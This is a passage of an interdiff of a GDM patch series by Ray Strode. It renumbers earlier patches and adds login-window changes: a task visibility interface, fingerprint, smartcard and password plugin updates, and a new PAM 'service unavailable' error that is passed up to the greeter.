 Date: Mon, 2 Mar 2009 13:53:34 -0500
-Subject: [PATCH 45/54] Pull verification functions out into their own subroutines
+Subject: [PATCH 56/81] Pull verification functions out into their own subroutines
 
 This makes the function smaller and easier to read
 ---
@@ -17253,7 +17254,7 @@ This makes the function smaller and easi
  1 files changed, 95 insertions(+), 40 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index 9041f76..fb54e5f 100644
+index b578ac1..4314955 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
 @@ -1110,6 +1110,17 @@ begin_task_verification (GdmTaskList           *task_list,
@@ -17437,10 +17438,10 @@ index 9041f76..fb54e5f 100644
 1.6.5.1
 
 
-From 6e4ec39d76631d1a9d00aa7145dcaef9f96b4899 Mon Sep 17 00:00:00 2001
+From e32a388bf163a1ff59e0d1aa850b19043150f5e7 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 2 Mar 2009 13:57:34 -0500
-Subject: [PATCH 46/54] Add new function find_task_with_service_name
+Subject: [PATCH 57/81] Add new function find_task_with_service_name
 
 It hides a bunch of icky foreach calls.
 ---
@@ -17448,7 +17449,7 @@ It hides a bunch of icky foreach calls.
  1 files changed, 22 insertions(+), 28 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index fb54e5f..28c9ab2 100644
+index 4314955..12bda46 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
 @@ -612,6 +612,20 @@ task_has_service_name (GdmTaskList *task_list,
@@ -17561,10 +17562,10 @@ index fb54e5f..28c9ab2 100644
 1.6.5.1
 
 
-From cd7e032237d37b1072efc5612346a705f18a1bd7 Mon Sep 17 00:00:00 2001
+From 1d866e5714a270c9192c70cc0ad1c61537700b61 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 2 Mar 2009 17:09:16 -0500
-Subject: [PATCH 47/54] Notify plugins if their user choose requests fail
+Subject: [PATCH 58/81] Notify plugins if their user choose requests fail
 
 This allows the smart card plugin to cancel pending
 conversations when a card gets inserted.
@@ -17591,10 +17592,10 @@ index d5455e1..d8a9e72 100644
  VOID:DOUBLE
 +BOOLEAN:STRING
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index 28c9ab2..e2600fb 100644
+index 12bda46..38ec8d0 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -1910,7 +1910,7 @@ on_conversation_cancel (GdmGreeterLoginWindow *login_window,
+@@ -1929,7 +1929,7 @@ on_conversation_cancel (GdmGreeterLoginWindow *login_window,
          do_cancel (login_window);
  }
  
@@ -17603,7 +17604,7 @@ index 28c9ab2..e2600fb 100644
  on_conversation_chose_user (GdmGreeterLoginWindow *login_window,
                              const char            *username,
                              GdmConversation       *conversation)
-@@ -1921,7 +1921,13 @@ on_conversation_chose_user (GdmGreeterLoginWindow *login_window,
+@@ -1940,7 +1940,13 @@ on_conversation_chose_user (GdmGreeterLoginWindow *login_window,
                  name = gdm_task_get_name (GDM_TASK (conversation));
                  g_warning ("Task %s is trying to choose user before list is loaded", name);
                  g_free (name);
@@ -17618,7 +17619,7 @@ index 28c9ab2..e2600fb 100644
          }
  
          if (gdm_task_list_set_active_task (GDM_TASK_LIST (login_window->priv->conversation_list),
-@@ -1929,6 +1935,8 @@ on_conversation_chose_user (GdmGreeterLoginWindow *login_window,
+@@ -1948,6 +1954,8 @@ on_conversation_chose_user (GdmGreeterLoginWindow *login_window,
                  gdm_user_chooser_widget_set_chosen_user_name (GDM_USER_CHOOSER_WIDGET (login_window->priv->user_chooser),
                                                                username);
          }
@@ -17774,10 +17775,10 @@ index a9e41f4..274132e 100644
 1.6.5.1
 
 
-From 1b8d1fd31b5e6290111f3a6b3697ec6dc61b26f1 Mon Sep 17 00:00:00 2001
+From 96713ef041fb14215eb062f4023e40a8ed62359a Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 13 Apr 2009 14:19:50 -0400
-Subject: [PATCH 48/54] reset all conversations if password conversation fails
+Subject: [PATCH 59/81] reset all conversations if password conversation fails
 
 This is a temporary hack until we store plugin policy in
 gconf.
@@ -17786,7 +17787,7 @@ gconf.
  1 files changed, 10 insertions(+), 0 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index e2600fb..fc12f36 100644
+index 38ec8d0..8a72e9d 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
 @@ -760,6 +760,16 @@ gdm_greeter_login_window_conversation_stopped (GdmGreeterLoginWindow *login_wind
@@ -17810,10 +17811,10 @@ index e2600fb..fc12f36 100644
 1.6.5.1
 
 
-From 6495837d40ed163862ab8bad5b9d5493d54fc388 Mon Sep 17 00:00:00 2001
+From 3a5dd5f7ac6eabf35677969127db238bc57afb23 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Tue, 21 Apr 2009 10:25:18 -0400
-Subject: [PATCH 49/54] When one PAM conversation wins, stop the others
+Subject: [PATCH 60/81] When one PAM conversation wins, stop the others
 
 This doesn't work yet, it's still in progress code.
 ---
@@ -17931,10 +17932,10 @@ index 337718b..63ea82c 100644
 1.6.5.1
 
 
-From 7f0b059434796ce2f352c8c72a5fa695c643fa04 Mon Sep 17 00:00:00 2001
+From 6a2b392cd5b36c13035ffdb70701057b15c92a70 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Tue, 21 Apr 2009 15:30:28 -0400
-Subject: [PATCH 50/54] When one PAM conv. wins, actually stop the others
+Subject: [PATCH 61/81] When one PAM conv. wins, actually stop the others
 
 We weren't properly keeping the winning conversation
 around in the previous commit
@@ -17974,10 +17975,10 @@ index 52a67c4..7cc5511 100644
 1.6.5.1
 
 
-From 189d1903462ccf6afbbddd9ccfdb79f0a8c2f099 Mon Sep 17 00:00:00 2001
+From 142f6a9c969526561b7bccb05d14c16bb6543540 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 24 Jul 2009 14:41:48 -0400
-Subject: [PATCH 51/54] KILL pam stack instead of TERM pam stack
+Subject: [PATCH 62/81] KILL pam stack instead of TERM pam stack
 
 Some PAM modules are really slow to shut down.
 We need to handle them being slow to shut down better,
@@ -18006,17 +18007,17 @@ index 0327d77..d99b8a5 100644
 1.6.5.1
 
 
-From 77fcb562d35226b77787899dc20432838e19c8ba Mon Sep 17 00:00:00 2001
+From 03166ed45888420651008bc7be7c0d51b4397f94 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Wed, 21 Oct 2009 16:08:52 -0400
-Subject: [PATCH 52/54] Don't show tasklist for autologin
+Subject: [PATCH 63/81] Don't show tasklist for autologin
 
 ---
  gui/simple-greeter/gdm-greeter-login-window.c |    5 +++++
  1 files changed, 5 insertions(+), 0 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index fc12f36..8af5452 100644
+index 8a72e9d..4991cb1 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
 @@ -1189,6 +1189,11 @@ begin_auto_login (GdmGreeterLoginWindow *login_window)
@@ -18035,10 +18036,10 @@ index fc12f36..8af5452 100644
 1.6.5.1
 
 
-From 5926910dba8dfe78bef05ff4a21ae46b5cb69ffb Mon Sep 17 00:00:00 2001
+From f8561b2383c343f2afb962e9ac77b58eac909b82 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 23 Oct 2009 17:39:19 -0400
-Subject: [PATCH 53/54] Drop the other hiding stuff for now.
+Subject: [PATCH 64/81] Drop the other hiding stuff for now.
 
 It depends on buttons being available that we don't have
 in the multi-stack branch.
@@ -18069,10 +18070,10 @@ index bff71e5..4d3c445 100644
 1.6.5.1
 
 
-From b773a74dec86ebf40941aa7ac1892c1329704ba3 Mon Sep 17 00:00:00 2001
+From a1835572951be24cdaa15496708d502ef90e29ff Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Wed, 28 Oct 2009 11:13:10 -0400
-Subject: [PATCH 54/54] Prevent start session signal handler from getting called multiple times
+Subject: [PATCH 65/81] Prevent start session signal handler from getting called multiple times
 
 It was causing a double free.
 ---
@@ -18080,7 +18081,7 @@ It was causing a double free.
  1 files changed, 9 insertions(+), 0 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index 8af5452..585d7bc 100644
+index 4991cb1..4e147ea 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
 @@ -908,8 +908,17 @@ on_ready_to_start_session (GdmGreeterLoginWindow *login_window,
@@ -18104,20 +18105,21 @@ index 8af5452..585d7bc 100644
 -- 
 1.6.5.1
 
-From cbfac7d59da91ae6eaad568fe512bfa44bf01107 Mon Sep 17 00:00:00 2001
+
+From 258e9beb0536e6bebe2e6fff805d37d2ae652b06 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Wed, 28 Oct 2009 13:57:53 -0400
-Subject: [PATCH] Don't show unimportant images on plugin buttons
+Subject: [PATCH 66/81] Don't show unimportant images on plugin buttons
 
 ---
  gui/simple-greeter/gdm-greeter-login-window.c |    8 +++++++-
  1 files changed, 7 insertions(+), 1 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index 585d7bc..dd763ff 100644
+index 4e147ea..0ec21a3 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -1997,8 +1997,14 @@ on_button_action_icon_name_changed (GtkWidget *button)
+@@ -2016,8 +2016,14 @@ on_button_action_icon_name_changed (GtkWidget *button)
  
          action = gtk_widget_get_action (button);
  
@@ -18136,3 +18138,1006 @@ index 585d7bc..dd763ff 100644
 -- 
 1.6.5.1
 
+
+From c860fc44cf9d64c77418bcd68fc76b2afa1985e3 Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Wed, 28 Oct 2009 14:10:35 -0400
+Subject: [PATCH 67/81] Add visibility concept to task iface
+
+---
+ gui/simple-greeter/libgdmsimplegreeter/gdm-task.c |    6 ++++++
+ gui/simple-greeter/libgdmsimplegreeter/gdm-task.h |    2 ++
+ 2 files changed, 8 insertions(+), 0 deletions(-)
+
+diff --git a/gui/simple-greeter/libgdmsimplegreeter/gdm-task.c b/gui/simple-greeter/libgdmsimplegreeter/gdm-task.c
+index 05fd75c..858b1ef 100644
+--- a/gui/simple-greeter/libgdmsimplegreeter/gdm-task.c
++++ b/gui/simple-greeter/libgdmsimplegreeter/gdm-task.c
+@@ -94,6 +94,12 @@ gdm_task_is_choosable (GdmTask *task)
+         return GDM_TASK_GET_IFACE (task)->is_choosable (task);
+ }
+ 
++gboolean
++gdm_task_is_visible (GdmTask *task)
++{
++        return GDM_TASK_GET_IFACE (task)->is_visible (task);
++}
++
+ static void
+ gdm_task_class_init (gpointer g_iface)
+ {
+diff --git a/gui/simple-greeter/libgdmsimplegreeter/gdm-task.h b/gui/simple-greeter/libgdmsimplegreeter/gdm-task.h
+index c75bf29..51e2b0a 100644
+--- a/gui/simple-greeter/libgdmsimplegreeter/gdm-task.h
++++ b/gui/simple-greeter/libgdmsimplegreeter/gdm-task.h
+@@ -45,6 +45,7 @@ struct _GdmTaskIface
+         char *  (* get_description) (GdmTask   *task);
+         char *  (* get_name)        (GdmTask   *task);
+         gboolean  (* is_choosable)    (GdmTask   *task);
++        gboolean  (* is_visible)    (GdmTask   *task);
+         /* signals */
+         void (* enabled) (GdmTask *task);
+         void (* disabled) (GdmTask *task);
+@@ -59,6 +60,7 @@ void   gdm_task_set_enabled     (GdmTask   *task,
+                                  gboolean   should_enable);
+ gboolean   gdm_task_is_enabled     (GdmTask   *task);
+ gboolean   gdm_task_is_choosable   (GdmTask   *task);
++gboolean   gdm_task_is_visible   (GdmTask   *task);
+ G_END_DECLS
+ 
+ #endif /* __GDM_TASK_H */
+-- 
+1.6.5.1
+
+
+From 3422e1dad813487e78494ea4692fb3be9d61efda Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Wed, 28 Oct 2009 14:10:50 -0400
+Subject: [PATCH 68/81] adapt fingerprint to task iface
+
+---
+ .../fingerprint/gdm-fingerprint-extension.c        |    7 +++++++
+ 1 files changed, 7 insertions(+), 0 deletions(-)
+
+diff --git a/gui/simple-greeter/plugins/fingerprint/gdm-fingerprint-extension.c b/gui/simple-greeter/plugins/fingerprint/gdm-fingerprint-extension.c
+index 316ef46..e1fc0ed 100644
+--- a/gui/simple-greeter/plugins/fingerprint/gdm-fingerprint-extension.c
++++ b/gui/simple-greeter/plugins/fingerprint/gdm-fingerprint-extension.c
+@@ -194,6 +194,12 @@ gdm_fingerprint_extension_is_choosable (GdmTask *task)
+         return FALSE;
+ }
+ 
++gboolean
++gdm_fingerprint_extension_is_visible (GdmTask *task)
++{
++        return TRUE;
++}
++
+ static void
+ gdm_task_iface_init (GdmTaskIface *iface)
+ {
+@@ -201,6 +207,7 @@ gdm_task_iface_init (GdmTaskIface *iface)
+         iface->get_description = gdm_fingerprint_extension_get_description;
+         iface->get_name = gdm_fingerprint_extension_get_name;
+         iface->is_choosable = gdm_fingerprint_extension_is_choosable;
++        iface->is_visible = gdm_fingerprint_extension_is_visible;
+ }
+ 
+ static void
+-- 
+1.6.5.1
+
+
+From 7c1ab32679980a32fae94905d01cc822031e4bca Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Wed, 28 Oct 2009 14:11:05 -0400
+Subject: [PATCH 69/81] adapt smartcard plugin to task iface
+
+---
+ .../plugins/smartcard/gdm-smartcard-extension.c    |    7 +++++++
+ 1 files changed, 7 insertions(+), 0 deletions(-)
+
+diff --git a/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c
+index 274132e..9967d5f 100644
+--- a/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c
++++ b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c
+@@ -309,6 +309,12 @@ gdm_smartcard_extension_is_choosable (GdmTask *task)
+         return TRUE;
+ }
+ 
++gboolean
++gdm_smartcard_extension_is_visible (GdmTask *task)
++{
++        return TRUE;
++}
++
+ static void
+ gdm_task_iface_init (GdmTaskIface *iface)
+ {
+@@ -316,6 +322,7 @@ gdm_task_iface_init (GdmTaskIface *iface)
+         iface->get_description = gdm_smartcard_extension_get_description;
+         iface->get_name = gdm_smartcard_extension_get_name;
+         iface->is_choosable = gdm_smartcard_extension_is_choosable;
++        iface->is_visible = gdm_smartcard_extension_is_visible;
+ }
+ 
+ static void
+-- 
+1.6.5.1
+
+
+From 43803699c351da5ba35197cf7412cb959560e8a0 Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Wed, 28 Oct 2009 14:10:50 -0400
+Subject: [PATCH 70/81] adapt password to task iface
+
+---
+ .../plugins/password/gdm-password-extension.c      |    7 +++++++
+ 1 files changed, 7 insertions(+), 0 deletions(-)
+
+diff --git a/gui/simple-greeter/plugins/password/gdm-password-extension.c b/gui/simple-greeter/plugins/password/gdm-password-extension.c
+index 4922c65..255283e 100644
+--- a/gui/simple-greeter/plugins/password/gdm-password-extension.c
++++ b/gui/simple-greeter/plugins/password/gdm-password-extension.c
+@@ -194,6 +194,12 @@ gdm_password_extension_is_choosable (GdmTask *task)
+         return FALSE;
+ }
+ 
++gboolean
++gdm_password_extension_is_visible (GdmTask *task)
++{
++        return TRUE;
++}
++
+ static void
+ gdm_task_iface_init (GdmTaskIface *iface)
+ {
+@@ -201,6 +207,7 @@ gdm_task_iface_init (GdmTaskIface *iface)
+         iface->get_description = gdm_password_extension_get_description;
+         iface->get_name = gdm_password_extension_get_name;
+         iface->is_choosable = gdm_password_extension_is_choosable;
++        iface->is_visible = gdm_password_extension_is_visible;
+ }
+ 
+ static void
+-- 
+1.6.5.1
+
+
+From d28601ec6717b9d352367593fccef27a6f2fdea9 Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Wed, 28 Oct 2009 16:05:14 -0400
+Subject: [PATCH 71/81] Return a different error code for "service won't work" than "auth failed"
+
+If we bubble it up to the greeter then we should be able to have
+a more sensible UI when e.g. fingerprinting isn't enabled.
+---
+ daemon/gdm-session-worker.c |   12 ++++++++++--
+ daemon/gdm-session-worker.h |    1 +
+ 2 files changed, 11 insertions(+), 2 deletions(-)
+
+diff --git a/daemon/gdm-session-worker.c b/daemon/gdm-session-worker.c
+index 9a9f364..35d6b2c 100644
+--- a/daemon/gdm-session-worker.c
++++ b/daemon/gdm-session-worker.c
+@@ -1291,7 +1291,7 @@ gdm_session_worker_initialize_pam (GdmSessionWorker *worker,
+                  */
+                 g_set_error (error,
+                              GDM_SESSION_WORKER_ERROR,
+-                             GDM_SESSION_WORKER_ERROR_AUTHENTICATING,
++                             GDM_SESSION_WORKER_ERROR_SERVICE_UNAVAILABLE,
+                              _("error initiating conversation with authentication system - %s"),
+                              error_code == PAM_ABORT? _("general failure") :
+                              error_code == PAM_BUF_ERR? _("out of memory") :
+@@ -1403,7 +1403,15 @@ gdm_session_worker_authenticate_user (GdmSessionWorker *worker,
+         /* blocking call, does the actual conversation */
+         error_code = pam_authenticate (worker->priv->pam_handle, authentication_flags);
+ 
+-        if (error_code != PAM_SUCCESS) {
++        if (error_code == PAM_AUTHINFO_UNAVAIL) {
++                g_debug ("GdmSessionWorker: authentication service unavailable");
++
++                g_set_error (error,
++                             GDM_SESSION_WORKER_ERROR,
++                             GDM_SESSION_WORKER_ERROR_SERVICE_UNAVAILABLE,
++                             "%s", pam_strerror (worker->priv->pam_handle, error_code));
++                goto out;
++        } else if (error_code != PAM_SUCCESS) {
+                 g_debug ("GdmSessionWorker: authentication returned %d: %s", error_code, pam_strerror (worker->priv->pam_handle, error_code));
+ 
+                 g_set_error (error,
+diff --git a/daemon/gdm-session-worker.h b/daemon/gdm-session-worker.h
+index ee5465a..b1c8285 100644
+--- a/daemon/gdm-session-worker.h
++++ b/daemon/gdm-session-worker.h
+@@ -41,6 +41,7 @@ typedef enum _GdmSessionWorkerError {
+         GDM_SESSION_WORKER_ERROR_OPENING_MESSAGE_PIPE,
+         GDM_SESSION_WORKER_ERROR_COMMUNICATING,
+         GDM_SESSION_WORKER_ERROR_WORKER_DIED,
++        GDM_SESSION_WORKER_ERROR_SERVICE_UNAVAILABLE,
+         GDM_SESSION_WORKER_ERROR_AUTHENTICATING,
+         GDM_SESSION_WORKER_ERROR_AUTHORIZING,
+         GDM_SESSION_WORKER_ERROR_OPENING_LOG_FILE,
+-- 
+1.6.5.1
+
+
+From 1d4ed3a5bbf11ef7211227bb9775c605b67f4e66 Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Wed, 28 Oct 2009 21:32:00 -0400
+Subject: [PATCH 72/81] Emit "service-unavailable" from session when pam service refuses to work
+
+---
+ daemon/gdm-session-direct.c  |   26 +++++++++++++++++++++++---
+ daemon/gdm-session-private.h |    2 ++
+ daemon/gdm-session-relay.c   |   33 +++++++++++++++++++++++++++++++++
+ daemon/gdm-session-worker.c  |   29 ++++++++++++++++++++++-------
+ daemon/gdm-session.c         |   21 +++++++++++++++++++++
+ daemon/gdm-session.h         |    2 ++
+ 6 files changed, 103 insertions(+), 10 deletions(-)
+
+diff --git a/daemon/gdm-session-direct.c b/daemon/gdm-session-direct.c
+index 7cc5511..8a22409 100644
+--- a/daemon/gdm-session-direct.c
++++ b/daemon/gdm-session-direct.c
+@@ -275,9 +275,27 @@ on_session_exited (GdmSession *session,
+ }
+ 
+ static DBusHandlerResult
+-gdm_session_direct_handle_setup_complete (GdmSessionDirect *session,
+-                                          GdmSessionConversation *conversation,
+-                                          DBusMessage      *message)
++gdm_session_direct_handle_service_unavailable (GdmSessionDirect *session,
++                                               GdmSessionConversation *conversation,
++                                               DBusMessage      *message)
++{
++        DBusMessage *reply;
++
++        g_debug ("GdmSessionDirect: Emitting 'service-unavailable' signal");
++
++        reply = dbus_message_new_method_return (message);
++        dbus_connection_send (conversation->worker_connection, reply, NULL);
++        dbus_message_unref (reply);
++
++        _gdm_session_service_unavailable (GDM_SESSION (session), conversation->service_name);
++
++        return DBUS_HANDLER_RESULT_HANDLED;
++}
++
++static DBusHandlerResult
++gdm_session_direct_handle_setup_complete  (GdmSessionDirect *session,
++                                           GdmSessionConversation *conversation,
++                                           DBusMessage      *message)
+ {
+         DBusMessage *reply;
+ 
+@@ -1236,6 +1254,8 @@ session_worker_message (DBusConnection *connection,
+                 return gdm_session_direct_handle_problem (session, conversation, message);
+         } else if (dbus_message_is_method_call (message, GDM_SESSION_DBUS_INTERFACE, "CancelPendingQuery")) {
+                 return gdm_session_direct_handle_cancel_pending_query (session, conversation, message);
++        } else if (dbus_message_is_method_call (message, GDM_SESSION_DBUS_INTERFACE, "ServiceUnavailable")) {
++                return gdm_session_direct_handle_service_unavailable (session, conversation, message);
+         } else if (dbus_message_is_method_call (message, GDM_SESSION_DBUS_INTERFACE, "SetupComplete")) {
+                 return gdm_session_direct_handle_setup_complete (session, conversation, message);
+         } else if (dbus_message_is_method_call (message, GDM_SESSION_DBUS_INTERFACE, "SetupFailed")) {
+diff --git a/daemon/gdm-session-private.h b/daemon/gdm-session-private.h
+index 36781dd..e0a810e 100644
+--- a/daemon/gdm-session-private.h
++++ b/daemon/gdm-session-private.h
+@@ -31,6 +31,8 @@ void             _gdm_session_conversation_started         (GdmSession   *sessio
+                                                             const char   *service_name);
+ void             _gdm_session_conversation_stopped         (GdmSession   *session,
+                                                             const char   *service_name);
++void             _gdm_session_service_unavailable          (GdmSession   *session,
++                                                            const char   *service_name);
+ void             _gdm_session_setup_complete               (GdmSession   *session,
+                                                             const char   *service_name);
+ void             _gdm_session_setup_failed                 (GdmSession   *session,
+diff --git a/daemon/gdm-session-relay.c b/daemon/gdm-session-relay.c
+index 3bf8ed7..a933557 100644
+--- a/daemon/gdm-session-relay.c
++++ b/daemon/gdm-session-relay.c
+@@ -463,6 +463,34 @@ handle_problem (GdmSessionRelay *session_relay,
+ }
+ 
+ static DBusHandlerResult
++handle_service_unavailable (GdmSessionRelay *session_relay,
++                            DBusConnection  *connection,
++                            DBusMessage     *message)
++{
++        DBusMessage *reply;
++        DBusError    error;
++        char        *service_name;
++
++        dbus_error_init (&error);
++        if (! dbus_message_get_args (message, &error,
++                                     DBUS_TYPE_STRING, &service_name,
++                                     DBUS_TYPE_INVALID)) {
++                g_warning ("ERROR: %s", error.message);
++        }
++        dbus_error_free (&error);
++
++        g_debug ("GdmSessionRelay: ServiceUnavailable");
++
++        reply = dbus_message_new_method_return (message);
++        dbus_connection_send (connection, reply, NULL);
++        dbus_message_unref (reply);
++
++        _gdm_session_service_unavailable (GDM_SESSION (session_relay), service_name);
++
++        return DBUS_HANDLER_RESULT_HANDLED;
++}
++
++static DBusHandlerResult
+ handle_setup_complete (GdmSessionRelay *session_relay,
+                        DBusConnection  *connection,
+                        DBusMessage     *message)
+@@ -841,6 +869,8 @@ session_handle_child_message (DBusConnection *connection,
+                 return handle_info (session_relay, connection, message);
+         } else if (dbus_message_is_method_call (message, GDM_SESSION_RELAY_DBUS_INTERFACE, "Problem")) {
+                 return handle_problem (session_relay, connection, message);
++        } else if (dbus_message_is_method_call (message, GDM_SESSION_RELAY_DBUS_INTERFACE, "ServiceUnavailable")) {
++                return handle_service_unavailable (session_relay, connection, message);
+         } else if (dbus_message_is_method_call (message, GDM_SESSION_RELAY_DBUS_INTERFACE, "SetupComplete")) {
+                 return handle_setup_complete (session_relay, connection, message);
+         } else if (dbus_message_is_method_call (message, GDM_SESSION_RELAY_DBUS_INTERFACE, "SetupFailed")) {
+@@ -898,6 +928,9 @@ do_introspect (DBusConnection *connection,
+                                "    <method name=\"ConversationStarted\">\n"
+                                "      <arg name=\"service_name\" direction=\"in\" type=\"s\"/>\n"
+                                "    </method>\n"
++                               "    <method name=\"ServiceUnavailable\">\n"
++                               "      <arg name=\"message\" direction=\"in\" type=\"s\"/>\n"
++                               "    </method>\n"
+                                "    <method name=\"SetupComplete\">\n"
+                                "    </method>\n"
+                                "    <method name=\"SetupFailed\">\n"
+diff --git a/daemon/gdm-session-worker.c b/daemon/gdm-session-worker.c
+index 35d6b2c..c4ad1c0 100644
+--- a/daemon/gdm-session-worker.c
++++ b/daemon/gdm-session-worker.c
+@@ -2353,9 +2353,16 @@ do_setup (GdmSessionWorker *worker)
+                                                  worker->priv->display_device,
+                                                  &error);
+         if (! res) {
+-                send_dbus_string_method (worker->priv->connection,
+-                                         "SetupFailed",
+-                                         error->message);
++                if (g_error_matches (error,
++                                     GDM_SESSION_WORKER_ERROR,
++                                     GDM_SESSION_WORKER_ERROR_SERVICE_UNAVAILABLE)) {
++                        send_dbus_void_method (worker->priv->connection,
++                                               "ServiceUnavailable");
++                } else {
++                        send_dbus_string_method (worker->priv->connection,
++                                                 "SetupFailed",
++                                                 error->message);
++                }
+                 g_error_free (error);
+                 return;
+         }
+@@ -2376,10 +2383,18 @@ do_authenticate (GdmSessionWorker *worker)
+                                                     worker->priv->password_is_required,
+                                                     &error);
+         if (! res) {
+-                g_debug ("GdmSessionWorker: Unable to verify user");
+-                send_dbus_string_method (worker->priv->connection,
+-                                         "AuthenticationFailed",
+-                                         error->message);
++                if (g_error_matches (error,
++                                     GDM_SESSION_WORKER_ERROR,
++                                     GDM_SESSION_WORKER_ERROR_SERVICE_UNAVAILABLE)) {
++                        g_debug ("GdmSessionWorker: Unable to use authentication service");
++                        send_dbus_void_method (worker->priv->connection,
++                                               "ServiceUnavailable");
++                } else {
++                        g_debug ("GdmSessionWorker: Unable to verify user");
++                        send_dbus_string_method (worker->priv->connection,
++                                                 "AuthenticationFailed",
++                                                 error->message);
++                }
+                 g_error_free (error);
+                 return;
+         }
+diff --git a/daemon/gdm-session.c b/daemon/gdm-session.c
+index 8858071..8c4548a 100644
+--- a/daemon/gdm-session.c
++++ b/daemon/gdm-session.c
+@@ -31,6 +31,7 @@
+ enum {
+         CONVERSATION_STARTED = 0,
+         CONVERSATION_STOPPED,
++        SERVICE_UNAVAILABLE,
+         SETUP_COMPLETE,
+         SETUP_FAILED,
+         RESET_COMPLETE,
+@@ -251,6 +252,17 @@ gdm_session_class_init (gpointer g_iface)
+                               g_cclosure_marshal_VOID__STRING,
+                               G_TYPE_NONE,
+                               1, G_TYPE_STRING);
++        signals [SERVICE_UNAVAILABLE] =
++                g_signal_new ("service-unavailable",
++                              iface_type,
++                              G_SIGNAL_RUN_FIRST,
++                              G_STRUCT_OFFSET (GdmSessionIface, service_unavailable),
++                              NULL,
++                              NULL,
++                              g_cclosure_marshal_VOID__STRING,
++                              G_TYPE_NONE,
++                              1,
++                              G_TYPE_STRING);
+         signals [SETUP_COMPLETE] =
+                 g_signal_new ("setup-complete",
+                               iface_type,
+@@ -525,6 +537,15 @@ gdm_session_class_init (gpointer g_iface)
+ }
+ 
+ void
++_gdm_session_service_unavailable (GdmSession   *session,
++                                  const char   *service_name)
++{
++        g_return_if_fail (GDM_IS_SESSION (session));
++
++        g_signal_emit (session, signals [SERVICE_UNAVAILABLE], 0, service_name);
++}
++
++void
+ _gdm_session_setup_complete (GdmSession   *session,
+                              const char   *service_name)
+ {
+diff --git a/daemon/gdm-session.h b/daemon/gdm-session.h
+index 22c2ccb..9636b92 100644
+--- a/daemon/gdm-session.h
++++ b/daemon/gdm-session.h
+@@ -49,6 +49,8 @@ struct _GdmSessionIface
+                                               const char   *service_name);
+         void (* stop_conversation)           (GdmSession   *session,
+                                               const char   *service_name);
++        void (* service_unavailable)         (GdmSession   *session,
++                                              const char   *service_name);
+         void (* setup)                       (GdmSession   *session,
+                                               const char   *service_name);
+         void (* setup_for_user)              (GdmSession   *session,
+-- 
+1.6.5.1
+
+
+From 0a51dbadadfb9695624ee14b5ec12574e9f647bf Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Wed, 28 Oct 2009 21:38:52 -0400
+Subject: [PATCH 73/81] Bubble service-unavailable up to greeter
+
+---
+ daemon/gdm-greeter-server.c |    8 ++++++++
+ daemon/gdm-greeter-server.h |    2 ++
+ daemon/gdm-simple-slave.c   |   17 +++++++++++++++++
+ 3 files changed, 27 insertions(+), 0 deletions(-)
+
+diff --git a/daemon/gdm-greeter-server.c b/daemon/gdm-greeter-server.c
+index ecb2ad6..1ae64a7 100644
+--- a/daemon/gdm-greeter-server.c
++++ b/daemon/gdm-greeter-server.c
+@@ -285,6 +285,14 @@ gdm_greeter_server_problem (GdmGreeterServer *greeter_server,
+ }
+ 
+ gboolean
++gdm_greeter_server_service_unavailable (GdmGreeterServer *greeter_server,
++                                        const char       *service_name)
++{
++        send_dbus_string_signal (greeter_server, "ServiceUnavailable", service_name);
